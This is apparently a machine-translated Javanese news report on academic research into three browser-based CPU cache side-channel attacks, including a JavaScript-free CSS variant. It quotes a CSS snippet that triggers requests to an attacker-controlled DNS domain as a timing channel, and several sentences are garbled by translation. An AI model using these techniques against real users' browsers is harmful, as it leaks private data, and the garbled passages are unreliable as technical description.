Serangan ekstraksi cache CPU ditindakake ing browser web tanpa JavaScript

Tim peneliti saka sawetara universitas Amerika, Israel lan Australia wis ngembangake telung serangan sing ditindakake ing browser web kanggo ngekstrak informasi babagan isi cache prosesor. Siji cara bisa digunakake ing browser tanpa JavaScript, lan loro liyane ngliwati cara proteksi sing wis ana marang serangan saluran sisih, kalebu sing digunakake ing browser Tor lan DeterFox. Kode kanggo nuduhake serangan, uga komponen server sing dibutuhake kanggo serangan kasebut, diterbitake ing GitHub.

Kanggo nganalisa isi cache, kabeh serangan nggunakake metode Prime + Probe, sing kalebu ngisi cache kanthi nilai standar lan ndeteksi owah-owahan kanthi ngukur wektu akses nalika ngisi maneh. Kanggo ngliwati mekanisme keamanan sing ana ing browser sing ngganggu pangukuran wektu sing akurat, ing rong pilihan, banding digawe menyang server DNS utawa WebSocket sing dikontrol dening panyerang, sing nyimpen cathetan wektu panjaluk sing ditampa. Ing siji pawujudan, wektu respon DNS tetep digunakake minangka referensi wektu.

Pangukuran sing digawe nggunakake server DNS eksternal utawa WebSocket, nggunakake sistem klasifikasi adhedhasar pembelajaran mesin, cukup kanggo prédhiksi nilai kanthi akurasi nganti 98% ing skenario paling optimal (rata-rata 80-90%). Cara serangan wis diuji ing macem-macem platform hardware (Intel, AMD Ryzen, Apple M1, Samsung Exynos) lan wis kabukten universal.

Serangan ekstraksi cache CPU ditindakake ing browser web tanpa JavaScript

Varian pisanan saka serangan DNS Racing nggunakake implementasi klasik saka metode Prime + Probe nggunakake array JavaScript. Bentenipun bosok mudhun kanggo nggunakake timer basis DNS external lan handler onerror, kang micu nalika nyoba kanggo mbukak gambar saka domain non-ana. Timer eksternal ngidini serangan Prime + Probe ing browser sing mbatesi utawa mateni akses menyang timer JavaScript.

Kanggo server DNS sing ana ing jaringan Ethernet sing padha, akurasi timer kira-kira kira-kira 2 ms, sing cukup kanggo nindakake serangan saluran sisih (kanggo mbandhingake, akurasi timer JavaScript standar ing Tor Browser yaiku suda dadi 100 ms). Kanggo serangan kasebut, kontrol server DNS ora dibutuhake, amarga wektu eksekusi operasi dipilih supaya wektu nanggepi saka DNS dadi tandha rampung mriksa luwih awal (gumantung manawa panangan onerror dipicu. sadurungé utawa mengko, kesimpulan digambar babagan kacepetan operasi mriksa karo cache).

Cara serangan kapindho, "String and Sock", tujuane kanggo ngliwati teknik keamanan sing mbatesi panggunaan array tingkat rendah ing JavaScript. Tinimbang array, String lan Sock nggunakake operasi ing senar sing gedhe banget, ukurane dipilih supaya variabel kasebut nyakup kabeh cache LLC (Cache level pungkasan). Sabanjure, nggunakake fungsi indexOf (), substring cilik ditelusuri ing senar, kang pisanan ora ana ing senar sumber, i.e. asil operasi panelusuran ing iterating liwat kabeh senar. Amarga ukuran garis cocog karo ukuran cache LLC, mindhai ngidini sampeyan nindakake operasi mriksa cache tanpa manipulasi susunan. Kanggo ngukur telat, tinimbang DNS, telpon digawe menyang server WebSocket sing dikontrol dening panyerang - sadurunge lan sawise operasi telusuran rampung, pitakon dikirim ing baris, adhedhasar server ngetung wektu tundha sing digunakake kanggo nganalisa cache. isi.

Varian katelu saka serangan "CSS PP0" dileksanakake liwat HTML lan CSS, lan bisa digunakake ing browser karo JavaScript dipatèni. Cara kasebut padha karo "String and Sock", nanging ora ana gandhengane karo JavaScript. Sajrone serangan, sakumpulan pamilih CSS digawe sing nggoleki kanthi topeng. Senar gedhe wiwitan sing ngisi cache disetel kanthi nggawe tag div kanthi jeneng kelas sing gedhe banget. Ing njero ana sakumpulan div liyane kanthi pengenal dhewe. Saben div bersarang iki nduweni gaya dhewe karo pamilih sing nggoleki substring. Nalika nerjemahake kaca, browser pisanan nyoba ngolah divs batin, sing nyebabake operasi telusuran ing baris gedhe. Panelusuran ditindakake kanthi nggunakake topeng sing sengaja ilang lan ndadékaké kanggo ngulang kabeh baris, sawise kondisi "ora" dipicu lan nyoba kanggo mbukak gambar latar mburi referensi domain acak: #pp:not([class*=’xjtoxg’]) #s0 {background-image: url(«https://qdlvibmr.helldomain.oy.ne.ro»);} #pp:not([class*=’gzstxf’]) #s1 {background-image: url(«https://licfsdju.helldomain.oy.ne.ro»);} … X X ...

Subdomain dilayani dening server DNS panyerang, sing bisa ngukur wektu tundha nalika nampa panjaluk. Server DNS ngetokake NXDOMAIN kanggo kabeh panjalukan lan nyimpen log wektu panjaluk sing tepat. Minangka asil ngolah sakumpulan div, server DNS panyerang nampa pirang-pirang panjalukan, telat ing antarane sing ana hubungane karo asil mriksa isi cache.

Serangan ekstraksi cache CPU ditindakake ing browser web tanpa JavaScript


Source: opennet.ru

Add a comment